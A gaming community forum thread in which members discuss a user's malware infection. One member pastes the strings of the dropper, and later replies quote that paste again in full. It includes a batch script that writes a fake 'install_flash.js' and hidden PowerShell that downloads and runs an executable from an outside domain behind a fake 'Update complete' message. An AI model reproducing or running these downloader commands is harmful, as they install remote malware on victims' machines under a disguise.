Login to ZARP





Forgot your password? Forgot your username? Create an account
Forum
General
General Discussion
Anyone good at computer security?
  • Page:
  • 1
  • 2

TOPIC: Anyone good at computer security?

Anyone good at computer security? 6 years 10 months ago #995924

DEADMONSTOR wrote:
Gamesys The Chiken God wrote:
EDIT: wscript is just is just windows script host, everything was in your temporary folder or 2 above it, use Malwarebytes and it should do the trick!

Oh how wrong you are.
HEY DEAD I KNOW THIS ISN'T RELEVANT TO THE TOPIC BUT I NEED TO SPEAK TO YOU ON TS ASAP THANKS :woohoo:

also 9999 posts woo
  • Clarky
  • Clarky's Avatar
  • Offline
  • Former Community Manager
  • ZARP VIP
  • I love Henny
  • Posts: 17048
  • Thanks received: 9688
  • Karma: 982
Last Edit: 6 years 10 months ago by Clarky.
Login or register to post a reply.

Anyone good at computer security? 6 years 10 months ago #995925

Clarky wrote:
DEADMONSTOR wrote:
Gamesys The Chiken God wrote:
EDIT: wscript is just is just windows script host, everything was in your temporary folder or 2 above it, use Malwarebytes and it should do the trick!

Oh how wrong you are.
HEY DEAD I KNOW THIS ISN'T RELEVANT TO THE TOPIC BUT I NEED TO SPEAK TO YOU ON TS ASAP THANKS :woohoo:

also 9999 posts woo

Congrats and me just getting food :clap:

My phone is being gay but here
"%TEMP%\install_flash.js"
,,_,_,_,q_,,,,
,____,,
-WindowStyle Hidden $d=$env:temp+'\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
00000409
?^_a,____,
@echo off
\RPC Control\console-0x00000DF0-lpc-handle
\Sessions\1\Windows\ApiPort
_,,,,q,,,_,
_,,_,,,,,0,,_0
_,__0_?,_,,___,__,_q0,,_0____,?,_____,____,_,
_,_____
__,,_,,
a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection
a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false);
AuthenticodeEnabled
AutoRun
Cache
cmd /c ""C:\ded3009690fcddfdecf3b2b38f49ac5dea2e85acd46e86c87735fa270f7798bd.bat" "
CompletionChar
CWDIllegalInDLLSearch
ded3009690fcddfdecf3b2b38f49ac5dea2e85acd46e86c87735fa270f7798bd.bat
DefaultColor
DefaultLevel
DEL "%~f0
DelayedExpansion
Disable
DisableLocalOverride
DisableMetaFiles
DisableUNCCheck
DisableUserModeCallbackFilter
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
en-US
EnableExtensions
g_,_,,_?,
Levels
LoadAppInit_DLLs
LogFileName
MachinePreferredUILanguages
PathCompletionChar
PAYLOAD
PolicyScope
PreferExternalManifest
PreferredUILanguages
RuleCount
SafeDllSearchMode
SaferFlags
SEtU_
start /min "" wscript.exe "%temp%\install_flash.js"
System32
TransparentEnabled
Windows
wscript.exe

Just reset your pc...
  • DEADMONSTOR
  • DEADMONSTOR's Avatar
  • Offline
  • Former Owner
  • ZARP VIP
  • Posts: 9279
  • Thanks received: 3800
  • Karma: 80

...
Last Edit: 6 years 10 months ago by DEADMONSTOR.
Login or register to post a reply.

Anyone good at computer security? 6 years 10 months ago #995982

DEADMONSTOR wrote:
Clarky wrote:
DEADMONSTOR wrote:
Gamesys The Chiken God wrote:
EDIT: wscript is just is just windows script host, everything was in your temporary folder or 2 above it, use Malwarebytes and it should do the trick!

Oh how wrong you are.
HEY DEAD I KNOW THIS ISN'T RELEVANT TO THE TOPIC BUT I NEED TO SPEAK TO YOU ON TS ASAP THANKS :woohoo:

also 9999 posts woo

Congrats and me just getting food :clap:

My phone is being gay but here
"%TEMP%\install_flash.js"
,,_,_,_,q_,,,,
,____,,
-WindowStyle Hidden $d=$env:temp+'\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
00000409
?^_a,____,
@echo off
\RPC Control\console-0x00000DF0-lpc-handle
\Sessions\1\Windows\ApiPort
_,,,,q,,,_,
_,,_,,,,,0,,_0
_,__0_?,_,,___,__,_q0,,_0____,?,_____,____,_,
_,_____
__,,_,,
a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection
a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false);
AuthenticodeEnabled
AutoRun
Cache
cmd /c ""C:\ded3009690fcddfdecf3b2b38f49ac5dea2e85acd46e86c87735fa270f7798bd.bat" "
CompletionChar
CWDIllegalInDLLSearch
ded3009690fcddfdecf3b2b38f49ac5dea2e85acd46e86c87735fa270f7798bd.bat
DefaultColor
DefaultLevel
DEL "%~f0
DelayedExpansion
Disable
DisableLocalOverride
DisableMetaFiles
DisableUNCCheck
DisableUserModeCallbackFilter
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
en-US
EnableExtensions
g_,_,,_?,
Levels
LoadAppInit_DLLs
LogFileName
MachinePreferredUILanguages
PathCompletionChar
PAYLOAD
PolicyScope
PreferExternalManifest
PreferredUILanguages
RuleCount
SafeDllSearchMode
SaferFlags
SEtU_
start /min "" wscript.exe "%temp%\install_flash.js"
System32
TransparentEnabled
Windows
wscript.exe

Just reset your pc...
oh, ^^ xd
  • ChikenGod
  • ChikenGod's Avatar
  • Offline
  • Gold Boarder
  • ZARP VIP
  • BiWx Vape still not implemented smh.
  • Posts: 1799
  • Thanks received: 271
  • Karma: -11
Login or register to post a reply.

Anyone good at computer security? 6 years 10 months ago #996176

DEADMONSTOR wrote:
Clarky wrote:
DEADMONSTOR wrote:
Gamesys The Chiken God wrote:
EDIT: wscript is just is just windows script host, everything was in your temporary folder or 2 above it, use Malwarebytes and it should do the trick!

Oh how wrong you are.
HEY DEAD I KNOW THIS ISN'T RELEVANT TO THE TOPIC BUT I NEED TO SPEAK TO YOU ON TS ASAP THANKS :woohoo:

also 9999 posts woo

Congrats and me just getting food :clap:

My phone is being gay but here
"%TEMP%\install_flash.js"
,,_,_,_,q_,,,,
,____,,
-WindowStyle Hidden $d=$env:temp+'\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
00000409
?^_a,____,
@echo off
\RPC Control\console-0x00000DF0-lpc-handle
\Sessions\1\Windows\ApiPort
_,,,,q,,,_,
_,,_,,,,,0,,_0
_,__0_?,_,,___,__,_q0,,_0____,?,_____,____,_,
_,_____
__,,_,,
a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection
a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false);
AuthenticodeEnabled
AutoRun
Cache
cmd /c ""C:\ded3009690fcddfdecf3b2b38f49ac5dea2e85acd46e86c87735fa270f7798bd.bat" "
CompletionChar
CWDIllegalInDLLSearch
ded3009690fcddfdecf3b2b38f49ac5dea2e85acd46e86c87735fa270f7798bd.bat
DefaultColor
DefaultLevel
DEL "%~f0
DelayedExpansion
Disable
DisableLocalOverride
DisableMetaFiles
DisableUNCCheck
DisableUserModeCallbackFilter
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\7f1a90835c3bf68d257ab0295f69f0d2.exe';(New-Object System.Net.WebClient).DownloadFile('https://yiomolibertyreserve.org/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
en-US
EnableExtensions
g_,_,,_?,
Levels
LoadAppInit_DLLs
LogFileName
MachinePreferredUILanguages
PathCompletionChar
PAYLOAD
PolicyScope
PreferExternalManifest
PreferredUILanguages
RuleCount
SafeDllSearchMode
SaferFlags
SEtU_
start /min "" wscript.exe "%temp%\install_flash.js"
System32
TransparentEnabled
Windows
wscript.exe

Just reset your pc...

I think thats what im gonna do.
  • collin4lizard
  • collin4lizard's Avatar
  • Offline
  • Senior Boarder
  • ZARP VIP
  • Posts: 328
  • Thanks received: 64
  • Karma: 1
Login or register to post a reply.
  • Page:
  • 1
  • 2
Moderators: Clarky
Forum
General
General Discussion
Anyone good at computer security?

Time to create page: 0.118 seconds

Quick Menu

Menu

246 PLAYERS ONLINE

Connect to server View Gametracker DarkRP
9/127
Online
Connect to server View Gametracker Deathrun
0/40
Online
Connect to server View Gametracker TTT
0/47
Online
Connect to server View Gametracker Bhop
1/32
Online
Connect to server View Gametracker Surf
0/32
Online
Connect to server View Gametracker Prop Hunt
3/42
Online
Connect to server View Gametracker Sandbox
0/42
Online
Connect to server Discord
233/964
Online
Top